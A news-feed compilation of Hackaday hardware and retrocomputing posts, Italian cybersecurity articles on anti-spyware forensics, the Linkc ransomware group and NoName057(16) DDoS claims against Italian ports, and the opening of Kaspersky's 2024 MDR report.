Whether it’s a game of D&D or encrypting top-secret information, a wide array of methods are available for generating the needed random numbers with high enough entropy for their use case. For a tabletop game this might be a single die but for more sensitive applications a more robust method of generating random numbers is needed. Programmers might reach for a rand() function of some sort, but these pseudorandom numbers don’t cut the mustard for encryption. For that you’ll need a true random number generator (RNG), and this open-source hardware RNG uses one of the better methods we’ve seen.

The device, called RAVA, is based on a property found in many electronic devices called avalanche breakdown. Avalanche breakdown occurs when a high voltage (in this case approximately 25V) is applied in the reverse bias direction, with this device using a pair of Zener diodes. When this high voltage is applied, an “avalanche” of electrons occurs which allows the diodes conduct in the opposite direction that they would when they are forward biased. This isn’t a constant current flow, though; there are slight variations over time which can be amplified and used as the random number generator. The noise is amplified over a series of op amps and then fed to an ATmega32U4 microcontroller which can provide the user with 136.0 Kbit/s of random data.

Unlike other random number generators, this device is based on a method generally accepted to be truly random. Not only that, but since it’s based on discrete hardware it can be accessed directly for monitoring and replacement in case of faults, unlike other methods which are more “black boxes” and are more opaque in their processes which are thus harder to audit. We also appreciate it’s open-source nature as well, and for some more information on it be sure to check out the paper on it in IEEE. If you’re looking for something to generate random numbers but will also bring some extra flair to the next game night, take a look at this radioactive dice replacement.

hackaday.com/2025/02/20/open-s…

LoRa gear can be great for doing radio communications in a light-weight and low-power way. However, it can also work over great distances if you have the right hardware—and the right antennas in particular. [taste_the_code] has been experimenting in this regard, and whipped up a simple yagi antenna that can work at distances of up to 40 kilometers.

The basic mathematics behind the yagi antenna are well understood. To that end, [taste_the_code] used a simple online calculator to determine the correct dimensions to build a yagi out of 2 mm diameter wire that was tuned for the relevant frequency of 868 MHz. The build uses a 3D-printed boom a handle and holes for inserting each individual wire element in the right spot—with little measuring required once the wires are cut, since the print is dimensionally accurate. It was then just a matter of wiring it up to the right connector to suit the gear.

The antenna was tested with a Reyas RYLR998 module acting as a base station, with the DIY yagi hooked up to a RYLR993 module in the field. In testing, [taste_the_code] was able to communicate reliably from 40 kilometers away.

We’ve featured some other unique LoRa antenna builds before, too. Video after the break.

youtube.com/embed/gA5SCXw_E1Q?…

hackaday.com/2025/02/20/diy-ya…

In 1997 a set of DEC tapes were provided by Dennis Ritchie, as historical artifacts for those interested in the gestation of the UNIX operating system. The resulting archive files have recently been analysed by [Yfeng Gao], who has succeeded in recovering a working UNIX version from 1972. What makes it particularly interesting is that this is not a released version, instead it’s a work in progress sitting somewhere between versions 1 and 2. He’s therefore taken the liberty of naming it “V2 Beta”.

If you happen to have a PDP-11/20 you should be able to run this operating system for yourself, and for those of us without he’s provided information on which emulator will work. The interesting information for us comes in the README accompanying the tapes themselves, and in those accompanying the analysis. Aside from file fragments left over from previous users of the same tape, we learn about the state of UNIX time in 1972. This dates from the period when increments were in sixtieths of a second due to the ease of using the mains power frequency in a PDP, so with a 32-bit counter they were facing imminent roll-over. The 1970-01-01 epoch and one second increments would be adopted later in the year, but meanwhile this is an unusual curio.

If you manage to run this OS, and especially if you find anything further in the files, we’d love to hear. Meanwhile, this is not the oldest UNIX out there.

PDP-11/20 image: Don DeBold, CC BY 2.0.

hackaday.com/2025/02/20/unix-a…

Il ruolo dell’informatica forense nel prevenire e risolvere i reati informatici continua ad evolversi parallelamente alle innovazioni tecnologiche, rendendo sempre più vitale un approccio proattivo nel combattere i crimini informatici.

Inoltre la scienza forense informatica, che ha il principale compito di concentrarsi sul recupero, l’analisi e l’esame delle prove digitali – in procedimenti legali o penali – diventa sempre più vitale per la sicurezza informatica e la sicurezza delle informazioni, per questo gli investigatori forensi cercano di perfezionare ogni giorno le loro strategie concentrandosi su indagini svolte ad esempio sui reati informatici, come: frodi e accessi non autorizzati, il furto di proprietà intellettuale, le violazioni di dati, le analisi dei malware e infine le indagini sul traffico non autorizzato e sul traffico di rete in un attacco web. In tal proposito stanno emergendo nuovi strumentazioni per la bonifica contro Trojan Software Spy particolarmente pericolosi e attacchi Man-in-the-middle, una delle minacce più insidiose in rete, poiché il più delle volte una vittima il più delle volte può non rendersi conto di essere stata presa di mira.

Ultimamente vengono sempre più presi di mira i cellulari: questo consente ai criminali di accedere a dati sensibili, intercettare il traffico e le conversazioni o la posizione di un individuo, o addirittura manipolare i dispositivi.

Abbiamo intervistato al riguardo l’esperto in analisi forense Gabriele Gardella della società G&G Computers Forense, che ci ha illustrato il funzionamento di M2Bridge NEW, un progetto Made in Italy nel settore degli AntiSpy, oltre che le diverse minacce parallelamente ad alcune operazioni preliminari di controllo sul dispositivo per testare se si è stati presi di mira da software dannosi.

M2Bridge NEW: monitorare e analizzare il traffico per rilevare i Trojan Software Spy e proteggere contro le minacce digitali più sofisticate

M2Bridge NEW di G&G Computers Forense è un dispositivo che utilizza la tecnologia di Sniffing – “Man in the Middle” passivo, che consente di monitorare e analizzare il traffico dati di qualsiasi cellulare o tablet, rilevando l’eventuale presenza di Trojan – Software Spy in un dispositivo. Ciò diventa spesso necessario per mettere in sicurezza il dispositivo in una convergenza tra sicurezza informatica e sicurezza fisica.
Immagine: M2Bridge New della società G&G Computers Forense

Software spia: le tipologie di attacco e le vulnerabilità da tenere sotto controllo

Per comprendere quanto siano diffusi i software spia e i pericoli in rete basterebbe leggere uno dei rapporti di Amnesty internationalin cui si evidenzia la scoperta – con prove forensi – di come le autorità serbe abbiano utilizzato alcuni prodotti ( tra cui Cellebrite o NoviSpy) per mettere sotto controllo i telefoni cellulari di attivisti e giornalisti. Tali software sfruttavano una vulnerabilità zero-day nei dispositivi Android, aggirando così le impostazioni di sicurezza. Tale vulnerabilità ha interessato infatti milioni di dispositivi in tutto il mondo che utilizzavano i popolari chipset Qualcomm. Successivamente potremmo anche parlare del caso Paragon. Il cui spyware Graphite è stato utilizzato per colpire almeno 90 persone in due dozzine di Paesi. Anche in questo caso sono stati presi di mira giornalisti investigativi e attivisti. Vicenda che ha suscitato un forte dibattito politico in Italia. Ma il software Trojan Spy non è utilizzato solo per la sorveglianza: i dispositivi cellulari sono un punto di accesso per i criminali informatici per ottenere password e informazioni critiche per poi infiltrarsi nelle reti aziendali. Soprattutto è importante considerare che alcuni di questi software spia finiscono nel mercato nero della Drak Web: ciò è accaduto quando l’accesso al software Pegasus è stato messo in vendita per la cifra esorbitante di 1.500.000$, pubblicizzato da “un canale Telegram di supposta origine russa, noto per essere un punto d’incontro per malintenzionati digitali”.

I Trojan-Spy sono software subdoli che ottengono i privilegi di sistema e possono spiare il modo in cui viene utilizzato un dispositivo prendendone il controllo e persino portandolo al KO, oltre a poter monitorare e manipolare i dati o a catturare schermate o ottenere un elenco delle applicazioni in esecuzione. Le possibilità di spionaggio e intercettazione telefonica di questi software spia sono sorprendentemente invasive: un dispositivo sotto controllo può diventare un vero e proprio localizzatore GPS. Abbiamo chiesto a Gabriele Gradella quali pericoli rappresenti un malware di questo tipo alla luce della crescita dei crimini informatici e quale è il pericolo per l’utente infettato da un Trojan-Spy, oltre ai problemi di privacy.

Gabriele Gardella: L’aumento dei crimini informatici rende i Trojan Software Spy particolarmente pericolosi. Questi software malevoli, subdoli e difficili da individuare, possono compromettere seriamente la tua sicurezza e la tua privacy. Tra i principali pericoli vi sono:

1. Il Furto di dati sensibili come le informazioni personali, i dati aziendali e le conversazioni private. Per quanto riguarda le Informazioni personali, I trojan possono rubare password, dati bancari, numeri di carte di credito, documenti d’identità, indirizzi, numeri di telefono e altre informazioni personali, che possono essere utilizzate per furto d’identità, frodi finanziarie o ricatti. Riguardo ai dati aziendali se il tuo dispositivo infetto è utilizzato per lavoro, i criminali informatici possono accedere a informazioni riservate dell’azienda, come progetti, contratti, dati finanziari o segreti industriali, causando gravi danni economici e reputazionali. Infine per ciò che concerne le conversazioni private i malware possono intercettare chiamate, messaggi, email e altre comunicazioni, violando la tua privacy e ottenendo informazioni che possono essere usate contro di te.
2. Spionaggio e controllo remoto: i trojan possono operare una sorveglianza costante: possono attivare la webcam e il microfono del tuo dispositivo a tua insaputa, permettendo ai criminali informatici di spiarti e ascoltarti in qualsiasi momento. In alcuni casi, i criminali possono prendere il controllo completo del dispositivo consentendo loro di rubare dati, installare altri malware, inviare email o messaggi a tuo nome – con rischi economici e relativi alla reputazione – o compiere altre azioni dannose che possono danneggiare il dispositivo.

Ma come mettersi al riparo?

Gabriele Gardella di G&G Computers Forense ci ha parlato delle varie tipologie di attacco alle quali ognuno di noi può essere vulnerabile.

Oltre al popolare Phishing che ci spinge a scaricare allegati dannosi o malware tramite anche ingegneria sociale, esistono purtroppo “Wi-Fi pubblici non sicuri, che possono esporre il cellulare a rischi di intercettazione dei dati” ha evidenziato Gabriele. Oltre poi alla vulnerabilità dei nostri dispositivi, del loro sistema operativo o delle applicazioni scaricate, che possono compromettere la nostra sicurezza, si aggiungono “SMS e chiamate spam, che possono essere utilizzati per inviare link o allegati dannosi, o per truffare la vittima”, ha aggiunto. Per finire vi sono gli attacchi di “SIM swapping”, tramite i quali il numero di telefono della vittima viene trasferito su una nuova SIM card, quindi controllata dal criminale per accedere a messaggi, chiamate, e-mail e altri dati della vittima. Ultimi ma non meno importanti sono gli “attacchi Man-in-the-Middle (MitM), che consistono nell’intercettare le comunicazioni tra il cellulare e un server, per rubare dati o modificare le informazioni scambiate”.

RHC: Quali sono le operazioni preliminari di controllo sul dispositivo per accorgersi di essere stato preso di mira?

Gabriele Gardella: Prevalentemente ci sono fattori che possono allertare l’utilizzatore come:

• Il rallentamento generale del dispositivo, che è diventato più lento del solito, le app si aprono con difficoltà o si bloccano spesso.
• Un surriscaldamento anomalo: Il telefono si surriscalda anche quando non lo si utilizza intensamente.
• Un consumo eccessivo della batteria: La batteria si scarica molto più rapidamente del solito, anche in modalità standby.

M2 Bridge New: da dove nasce il progetto Made in Italy e quali sono le sue caratteristiche principali

Spesso i Trojan-Spy vengono distribuiti attraverso siti Web e false app e rappresentano un problema serio: rimuoverli immediatamente è una priorità elevata. Qui arriva M2 Bridge New di MgExtreme. Abbiamo chiesto a Gabriele Gardella di raccontarci da dove nasce il progetto e quali evoluzioni ha avuto nel tempo per affrontare i nuovi rischi in materia di sicurezza informatica.

Gabriele Gardella: Il progetto prende vita inizio 2021 da un’idea di Marco Muratori (www.mgextreme.com), ancora non esisteva un apparato hardware il tutto veniva gestito da un pc, a maggio dello stesso anno nasce il primo prototipo nominato M2 Bridge ad agosto un’evoluzione di questo ovvero il prodotto definitivo. Luglio 2024 una data veramente importante, grazie ad esperti collaboratori che coordino e supervisiono e un’accurata ricerca ingegneristica, prende vita M2 Bridge New come lo conosciamo oggi.

E’ importante evidenziare chelL’apparato M2 Bridge New è provvisto di regolare certificazione CE, attestandone la conformità agli standard europei di sicurezza e la piena idoneità all’uso e alla commercializzazione. Tale conformità si estende anche nella validità dei report generati.
Immagine: M2Bridge New, Sniffing (Man in the Middle passivo).
RHC: Gli strumenti investigativi hanno fatto molta strada nella scienza forense digitale e continuano a svolgere un ruolo importante nei casi penali e civili. Come avviene l’analisi e la bonifica di un dispositivo con M2 Bridge New? L’intercettazione del traffico rispetta i parametri privacy utente?

Gabriele Gardella: E’ indispensabile che il proprietario del cellulare si trovi nello stesso ambiente in cui è presente M2 Bridge New; ed è sufficiente che si agganci alla rete Wi-Fi locale che M2 Bridge New andrà a generare e segua le indicazioni dell’operatore. Quindi assicuriamo massima riservatezza e rispetto della privacy, infatti il Cellulare o Tablet da analizzare non viene neppure “toccato dall’operatore”.

In automatico verrà generato un Report (pdf in italiano) il quale produce documentazione certificata ammissibile ed utilizzabile in corso di procedimento legale più un file capture.pcap per utilizzo ed analisi da parte di un operatore specializzato in informatica forense. È possibile analizzare qualsiasi dispositivo con qualunque sistema operativo e l’analisi è estremamente veloce e automatizzata.
Immagine: M2 Bridge New,esempio di un file capture.pcap generato automaticamente

RHC: Rilevando uno spyware su un dispositivo si mette in sicurezza una rete di persone: a vostro parere come M2 Bridge New contribuisce alla sicurezza informatica e come può essere utile per una risposta immediata agli incidenti e per comprendere gli attacchi in corso?

Gabriele Gardella:M2 Bridge New, innovazione nella Sicurezza Informatica, rappresenta un salto qualitativo nel campo della cybersecurity, offrendo una soluzione all’avanguardia per la protezione contro le minacce digitali più sofisticate. Questo sistema intelligente è il risultato di un’approfondita analisi delle tattiche utilizzate dai cyber criminali nelle loro campagne contro istituzioni governative, imprese, organizzazioni della società civile e privati cittadini.

L'articolo Informatica forense e indagini digitali: uno strumento di bonifica Made in Italy contro spyware e attacchi Man-in-the-middle proviene da il blog della sicurezza informatica.

The release notes for the 2.1.1 Raspberry Pi Pico SDK have a late holiday present: The RP2040 chip is now certified to run at 200 MHz if you use at least 1.15V as the supply voltage.

Previously, the certified speed was 125 MHz, although it was well-known you could overclock the device. By default, the 125 MHz figure is still what you’ll get, though. If you want a higher frequency, you need to set SYS_CLK_MHZ to 200 or even 250 before doing a build.

They hint that more speed increases may happen in the future. If you want do go as fast as they’ll allow, you can set PICO_USE_FASTEST_SUPPORTED_CLOCK=1 instead. This will always pick the highest frequency which is currently 250 MHz.

There are other updates, too, of course. We noted several bug fixes and a new version of TinyUSB. There are also some new examples, including a few that they forgot to mention in version 2.1.0. We were particularly interested in the mqtt examples, a PIO/DMA UART example, and the multi CDC USB example, something we’ve struggled to work around before on other projects.

So what will you do with a faster Pico? We doubt we are going to see a practical 1 GHz overclock. The emphasis is on the word practical. But we have seen 312 MHz.

hackaday.com/2025/02/20/pico-g…

Nel attività di analisi delle underground del gruppo DarkLab, ci siamo avventurati su un sito onion che a quanto pare è un Data Leak Site (DLS) di una nuoa cyber gang ransomware.

Questo nuovo attore chiamato Linkc, è stato autore di un recente colpo ai danni di H2O.ai. Il loro Data Leak Site—una pagina minimalista e priva di ulteriori informazioni—lascia intravedere solo l’essenziale: un leak di dati sensibili e codice sorgente appartenenti a una realtà specializzata in Intelligenza Artificiale.

Nuovo Gruppo, Vecchi Schemi?

Nonostante Linkc si mostri come un gruppo inedito, l’operazione ricalca il modello ormai consolidato del doppio ricatto:

1. Compromissione e cifratura dei sistemi dell’azienda vittima.
2. Sottrazione e pubblicazione graduale dei dati sensibili su un Data Leak Site.

La novità, in questo caso, è l’estrema scarnezza del portale di leak, che presenta:

• Un logo e un breve post.
• I dettagli relativi alla compromissione di H2O.ai.
• Nessuna sezione aggiuntiva (FAQ, contatti, “chi siamo”).

Questa scelta potrebbe avere finalità di sicurezza operativa (minor tracciabilità) e di maggiore impatto mediatico: mostrare subito la preda e i dati rubati.

La Prima Presunta Vittima: H2O.ai

Il gruppo Linkc ha scelto come primo obiettivo un’azienda specializzata nello sviluppo di piattaforme di Machine Learning e servizi IA. Secondo quanto riportato:

• Sono stati sottratti dataset non anonimizzati di clienti, destinati al training dei modelli AI.
• È stato esfiltrato il codice sorgente completo di progetti Git, incluso software per la guida autonoma e modelli GPT.

Al momento, non possiamo confermare la veridicità della notizia, poiché l’organizzazione non ha ancora rilasciato alcun comunicato stampa ufficiale sul proprio sito web riguardo l’incidente. Pertanto, questo articolo deve essere considerato come ‘fonte di intelligence’.

Perché Proprio H2O.ai?

• Alta Visibilità: colpire un’azienda che lavora con l’IA fa più “rumore” mediatico.
• Valore dei dati: dataset proprietari e codice sorgente AI sono risorse di grande interesse per concorrenza scorretta, spionaggio industriale e attività di cybercrime.
• Pressione di immagine: le aziende tech sono spesso giudicate (e a volte penalizzate) per eventuali falle di sicurezza.

Conclusioni

Linkc ha fatto il proprio debutto sulla scena del cybercrime con un approccio intimidatorio e un portale minimalista. La scelta di prendere di mira H2O.ai ha subito evidenziato la loro inclinazione a colpire realtà legate all’Intelligenza Artificiale, potenzialmente per monetizzare dati e tecnologie ad alto valore. Per chi si occupa di sicurezza informatica, è fondamentale:

• Tenere alto il livello di guardia su piattaforme IA e asset sensibili.
• Studiare gli Indicatori di Compromissione (IoC) e le TTP di nuovi gruppi come Linkc.
• Condividere informazioni di threat intelligence in tempo reale, unendo forze e competenze per arginare il fenomeno ransomware.

Il mondo del cybercrime è in costante evoluzione, e Linkc ne è l’ennesima conferma. Resta da vedere se questo gruppo continuerà con altre offensive di alto profilo o se si limiterà a casi selezionati. Nel frattempo, gli esperti di sicurezza dovranno affinare ulteriormente i propri strumenti di monitoraggio e difesa, preparandosi a nuove tattiche di estorsione digitale.

Come nostra consuetudine, lasciamo sempre spazio ad una dichiarazione da parte dell’azienda qualora voglia darci degli aggiornamenti sulla vicenda. Saremo lieti di pubblicare tali informazioni con uno specifico articolo dando risalto alla questione.

RHC monitorerà l’evoluzione della vicenda in modo da pubblicare ulteriori news sul blog, qualora ci fossero novità sostanziali. Qualora ci siano persone informate sui fatti che volessero fornire informazioni in modo anonimo possono utilizzare la mail crittografata del whistleblower.

L'articolo Linkc Ransomware: La Nuova Cyber Gang che Punta All’Intelligenza Artificiale proviene da il blog della sicurezza informatica.

Your garden variety motion detector uses IR, but these days, there are fancier technologies for achieving similar goals. If so desired, you can source yourself a microwave-based presence sensor instead. Indeed, like [N-08 Labs], you might like to whip one up into a basic intrusion detection system.

The idea is simple enough—take a RCWL-0516 microwave presence sensor, and set it up to detect motion and warn you when it happens. It’s a simple part to use—it simply drives a 3.3 volt logic output high if it detects someone or something. It basically just emits a microwave signal and detects a change in phase when someone or something—usually something fleshy—is in front of it. [N-08 Labs] simply hooked one up to an IO pin on an ESP8266, with the microcontroller board set up to communicate wirelessly with a Blynk IoT app, which then in turn fires off a smartphone notification that the sensor picked something up. The whole thing is built inside the shell of an AC adapter that provides power and let it easily hide in plain sight.

A project like this doesn’t just have to be for security purposes. You might even just use it to determine when your pet (or a racoon) is using the cat door, or similar. Indeed, we’ve seen great solutions to that particular problem, too. Video after the break.

youtube.com/embed/LwFUjJAT_88?…

hackaday.com/2025/02/20/microw…

Most Christmas ornaments just hang there and look pretty. [Sean Hodgins] decided to whip up something altogether fancier and more mechanical. It’s a real working marble machine that hangs from the tree!

The build is simple enough, beginning with a translucent Christmas ornament shell readily available from most craft stores. Inside, a small motor spins a pinion, which turns a larger gear inside the body. As the larger gear spins, magnets embedded inside pick up steel balls from the base of the ornament and lift them up to the top. As they reach their zenith, they’re plucked off by a scoop, and then they roll down a spiral inside. As for power, [Sean] simply handled that with a couple of wires feeding the motor from a USB power bank. Just about any small battery pack would do fine.

The build is beautiful to watch and to listen to, with a gentle clacking as the balls circulate around. Files are on MakerWorld for the curious. We’ve featured some great Christmas decorations before, too. Video after the break.

youtube.com/embed/PUvCP1_2Gww?…

hackaday.com/2025/02/20/youve-…

Gli hacker di NoName057(16) continuano a colpire obiettivi italiani attraverso attacchi di Distributed Denial-of-Service (DDoS). Questo avviene mentre un’altra “guerra” è stata sferrata da Telegram contro gli Hacktivisti costretti a ricreare i loro canali dopo le cancellazioni dei moderatori del messenger.

Nello specifico oggi, dopo un’altra cancellazione del gruppo Telegram in lingua Russa, avviano altre raffiche di DDoS su obiettivi italiani. Alcuni di questi abbiamo visto collassare in altri episodi simili. Questa volta nel gruppo del progetto DDoSia gli hacktivisti riportano:
Inviate raffiche di DDoS a siti italiani

Porto di Olbia e Golfo Arancia
check-host.net/check-report/2342e893k8db

❌Gestione del sistema portuale del Mar Adriatico centro-settentrionale (morto al ping)
check-host.net/check-report/2342eb89kf38

❌ Autorità portuale del Nord Adriatico
check-host.net/check-report/2342e9ebkc6c

❌GENOI PORTI hanno 4 bacini portuali: Genova, Pra, Savona e Vado Ligure, che insieme formano il sistema portuale più importante d'Italia e il terzo porto crocieristico d'Europa, nonché la quinta piattaforma di trasporto container in Europa.
check-host.net/check-report/2342ec89k5be

❌ Autorità di Sistema Portuale del Mar Tirreno Centro Settentrionale Porti di Civitavecchia - Fiumicino - Gaeta
check-host.net/check-report/2342edf4ka1

❌Trasporti pubblici a Bergamo
check-host.net/check-report/2342eec7kb18

❌Trasporto pubblico di Cagliari (chiuso per motivi geo)
check-host.net/check-report/2342efe5kb85

❌Organismo italiano di standardizzazione
check-host.net/check-report/2342f0fdkbbe
NoName057(16) è un gruppo di hacker che si è dichiarato a marzo del 2022 a supporto della Federazione Russa. Hanno rivendicato la responsabilità di attacchi informatici a paesi come l’Ucraina, gli Stati Uniti e altri vari paesi europei. Questi attacchi vengono in genere eseguiti su agenzie governative, media e siti Web di società private.

Che cos’è un attacco Distributed Denial of Service

Un attacco DDoS (Distributed Denial of Service) è un tipo di attacco informatico in cui vengono inviate una grande quantità di richieste a un server o a un sito web da molte macchine diverse contemporaneamente, al fine di sovraccaricare le risorse del server e renderlo inaccessibile ai suoi utenti legittimi.

Queste richieste possono essere inviate da un grande numero di dispositivi infetti da malware e controllati da un’organizzazione criminale, da una rete di computer compromessi chiamata botnet, o da altre fonti di traffico non legittime. L’obiettivo di un attacco DDoS è spesso quello di interrompere le attività online di un’organizzazione o di un’azienda, o di costringerla a pagare un riscatto per ripristinare l’accesso ai propri servizi online.

Gli attacchi DDoS possono causare danni significativi alle attività online di un’organizzazione, inclusi tempi di inattività prolungati, perdita di dati e danni reputazionali. Per proteggersi da questi attacchi, le organizzazioni possono adottare misure di sicurezza come la limitazione del traffico di rete proveniente da fonti sospette, l’utilizzo di servizi di protezione contro gli attacchi DDoS o la progettazione di sistemi resistenti agli attacchi DDoS.

Occorre precisare che gli attacchi di tipo DDoS, seppur provocano un disservizio temporaneo ai sistemi, non hanno impatti sulla Riservatezza e Integrità dei dati, ma solo sulla loro disponibilità. pertanto una volta concluso l’attacco DDoS, il sito riprende a funzionare esattamente come prima.

Che cos’è l’hacktivismo cibernetico

L’hacktivismo cibernetico è un movimento che si serve delle tecniche di hacking informatico per promuovere un messaggio politico o sociale. Gli hacktivisti usano le loro abilità informatiche per svolgere azioni online come l’accesso non autorizzato a siti web o a reti informatiche, la diffusione di informazioni riservate o il blocco dei servizi online di una determinata organizzazione.

L’obiettivo dell’hacktivismo cibernetico è di sensibilizzare l’opinione pubblica su questioni importanti come la libertà di espressione, la privacy, la libertà di accesso all’informazione o la lotta contro la censura online. Gli hacktivisti possono appartenere a gruppi organizzati o agire individualmente, ma in entrambi i casi utilizzano le loro competenze informatiche per creare un impatto sociale e politico.

È importante sottolineare che l’hacktivismo cibernetico non deve essere confuso con il cybercrime, ovvero la pratica di utilizzare le tecniche di hacking per scopi illeciti come il furto di dati personali o finanziari. Mentre il cybercrime è illegale, l’hacktivismo cibernetico può essere considerato legittimo se mira a portare all’attenzione pubblica questioni importanti e a favorire il dibattito democratico. Tuttavia, le azioni degli hacktivisti possono avere conseguenze legali e gli hacktivisti possono essere perseguiti per le loro azioni.

Chi sono gli hacktivisti di NoName057(16)

NoName057(16) è un gruppo di hacker che si è dichiarato a marzo del 2022 a supporto della Federazione Russa. Hanno rivendicato la responsabilità di attacchi informatici a paesi come l’Ucraina, gli Stati Uniti e altri vari paesi europei. Questi attacchi vengono in genere eseguiti su agenzie governative, media e siti Web di società private

Le informazioni sugli attacchi effettuati da NoName057(16) sono pubblicate nell’omonimo canale di messaggistica di Telegram. Secondo i media ucraini, il gruppo è anche coinvolto nell’invio di lettere di minaccia ai giornalisti ucraini. Gli hacker hanno guadagnato la loro popolarità durante una serie di massicci attacchi DDOS sui siti web lituani.

Le tecniche di attacco DDoS utilizzate dal gruppo sono miste, prediligendo la “Slow http attack”.

La tecnica del “Slow Http Attack”

L’attacco “Slow HTTP Attack” (l’articolo completo a questo link) è un tipo di attacco informatico che sfrutta una vulnerabilità dei server web. In questo tipo di attacco, l’attaccante invia molte richieste HTTP incomplete al server bersaglio, con lo scopo di tenere occupate le connessioni al server per un periodo prolungato e impedire l’accesso ai legittimi utenti del sito.

Nello specifico, l’attacco Slow HTTP sfrutta la modalità di funzionamento del protocollo HTTP, che prevede che una richiesta HTTP sia composta da tre parti: la richiesta, la risposta e il corpo del messaggio. L’attaccante invia molte richieste HTTP incomplete, in cui il corpo del messaggio viene inviato in modo molto lento o in modo incompleto, bloccando la connessione e impedendo al server di liberare le risorse necessarie per servire altre richieste.

Questo tipo di attacco è particolarmente difficile da rilevare e mitigare, poiché le richieste sembrano legittime, ma richiedono un tempo eccessivo per essere elaborate dal server. Gli attacchi Slow HTTP possono causare tempi di risposta molto lenti o tempi di inattività del server, rendendo impossibile l’accesso ai servizi online ospitati su quel sistema.

Per proteggersi da questi attacchi, le organizzazioni possono implementare soluzioni di sicurezza come l’uso di firewall applicativi (web application firewall o WAF), la limitazione delle connessioni al server e l’utilizzo di sistemi di rilevamento e mitigazione degli attacchi DDoS

L'articolo NoName057(16) rivendica un nuovo giorno di attacchi DDoS alle infrastrutture Italiane proviene da il blog della sicurezza informatica.

There are a whole bunch of different ways to create 3D scans of objects these days. Researchers at the [UW Graphics Lab] have demonstrated how to use a small, cheap time-of-flight sensor to generate scans effectively.
Not yet perfect, but the technique does work…
The key is in how time-of-flight sensors work. They shoot out a distinct pulse of light, and then determine how long that pulse takes to bounce back. This allows them to perform a simple ranging calculation to determine how far they are from a surface or object.

However, in truth, these sensors aren’t measuring distance to a single point. They’re measuring the intensity of the received return pulse over time, called the “transient histogram”, and then processing it. If you use the full mathematical information in the histogram, rather than just the range figures, it’s possible to recreate 3D geometry as seen by the sensor, through the use of some neat mathematics and a neural network. It’s all explained in great detail in the research paper.

The technique isn’t perfect; there are some inconsistencies with what it captures and the true geometry of the objects its looking at. Still, the technique is young, and more work could refine its outputs further.

If you don’t mind getting messy, there are other neat scanning techniques out there—like using a camera and some milk.

youtube.com/embed/4m9GzPTr8y4?…

hackaday.com/2025/02/20/recons…

I ricercatori del MIT hanno presentato il Sistema MiFly, che consente ai droni di navigare in spazi chiusi senza GPS. Questa nuova tecnologia potrebbe semplificare notevolmente la navigazione in magazzini, tunnel e altri luoghi con illuminazione limitata.

A differenza delle tecnologie esistenti che richiedono più sensori e telecamere, MiFly utilizza un solo tag RF compatto. Questo tag funziona come un riflettore passivo: cattura e restituisce le onde millimetriche emesse dal drone. Queste onde possono attraversare la plastica e il cartone e funzionare anche in completa oscurità.

La caratteristica principale di MiFly è la sua capacità di separare i segnali dall’ambiente. Poiché le superfici circostanti riflettono le onde a una frequenza e il tag a un’altra, il drone può estrarre solo i dati di cui ha bisogno. Ciò migliora la precisione della navigazione riducendo l’influenza delle interferenze estranee.

Durante i test nei laboratori del MIT, nei tunnel sotterranei e in altre aree riservate, il sistema ha raggiunto una precisione di localizzazione entro i 7 centimetri. Ciò lo rende adatto all’uso commerciale.

Uno dei problemi principali quando si lavora con le onde millimetriche è la soppressione dei riflessi indesiderati provenienti da pareti e pavimenti. Gli sviluppatori hanno utilizzato un metodo di modulazione in cui il tag modifica la frequenza dei segnali riflessi, il che aiuta il drone a filtrare meglio il rumore.

MiFly apre nuove possibilità per l’automazione dei magazzini. I droni saranno in grado di spostare carichi in modo indipendente, senza bisogno di infrastrutture complesse o di una supervisione umana costante. Inoltre, la tecnologia potrebbe trovare applicazione in situazioni in cui i metodi di navigazione tradizionali non funzionano, come ad esempio nelle operazioni di ricerca e soccorso.

Gli sviluppatori intendono migliorare MiFly ampliandone la portata e la resistenza alle interferenze, il che renderà il sistema adatto a un uso commerciale diffuso.

L'articolo Addio GPS: il nuovo drone del MIT vola con onde millimetriche! proviene da il blog della sicurezza informatica.

Carving pumpkins by hand is hot, sweaty, messy work, and a great way to slice your way into a critical artery. Why not let a water jet do it for you? It’ll be cleaner and more precise to boot, and [Jo_Journey] is here to show us how.
So sharp!
Obviously, you’ll need a water jet machine, there’s no getting around that. You’ll also still have to do the basic preparation of the pumpkin yourself—cutting a porthole into the top and mucking it out is your job. With that done, you must then mount the pumpkin on two metal rods which will be used to mount it in the water jet machine’s working area.

You can then create a vector file of your design, and use your chosen software to generate the G-code to run the water jet. [Jo_Journey] uses Scribe, and recommends cutting at a speed of around 200 in/min at low pressure. Remember, it’s pumpkin you’re cutting, not high-strength steel.

There is some inaccuracy, of course—your pumpkin’s surface is not a flat plane, after all—but the results are good enough for most Halloween-related purposes. Even despite the geometrical issues, though, [Jo_Journey] shows us that you can get pleasantly sharp edges on your design. That’s very hard to achieve by hand!

We do love a good holiday hack around these parts, even if it’s out of season. If you’ve been cooking up your own pumpkinous plans, don’t hesitate to let us know! Earlier is sometimes better—after all, who has time to hack together a project if you’ve just read about it on October 29?

hackaday.com/2025/02/20/water-…

Kaspersky Managed Detection and Response service (MDR) provides round-the-clock monitoring and threat detection, based on Kaspersky technologies and expertise. The annual MDR analyst report presents insights based on the analysis of incidents detected by Kaspersky’s SOC team. It sheds light on the most prevalent attacker tactics, techniques, and tools, as well as the characteristics of identified incidents and their distribution across regions and industry sectors among MDR customers.
This report answers key questions, including:

• Who are the potential attackers?
• What methods are they using today?
• How can their activities be effectively detected?

Security incident statistics for 2024

In 2024, the MDR infrastructure received and processed on average 15,000 telemetry events per host every day, generating security alerts as a result. Around 26% of these alerts were processed by machine learning algorithms and the rest were analyzed by the SOC team. On average, more than two high-severity incidents were detected daily. MDR customers were informed about all identified incidents via the MDR portal.

Geography of MDR customers

Kaspersky MDR customers span the globe, giving us a comprehensive and objective view of regional attack behaviors and tactics. The largest concentration of customers is in Europe, the CIS, and the META regions.

Kaspersky MDR customers by region

Distribution of incidents by industry

In 2024, the MDR team observed the highest number of incidents in the industrial (25.7%), financial (14.1%), and government (11.7%) sectors. However, if we consider only high-severity incidents, the distribution is somewhat different: 22.8% in IT, 18.3% in government, 17.8% in industrial, and 11.9% in the financial sector.

The most attacked industries

General observations and recommendations

In 2024, we observed the following trends in the incidents detected by our SOC team:

• High-severity incidents decreased, but complexity increased. The number of high-severity incidents decreased by 34% compared to 2023. However, the mean time to investigate and report these incidents increased by 48%, indicating a rise in the average complexity of attacks. This is supported by the fact that the vast majority of triggered detection rules and IoAs were from specialized XDR tools. This marks a shift from previous years, where OS log-based detection played a significant role. Given this trend, specialized tools like XDR are essential for effectively detecting and investigating modern threats.
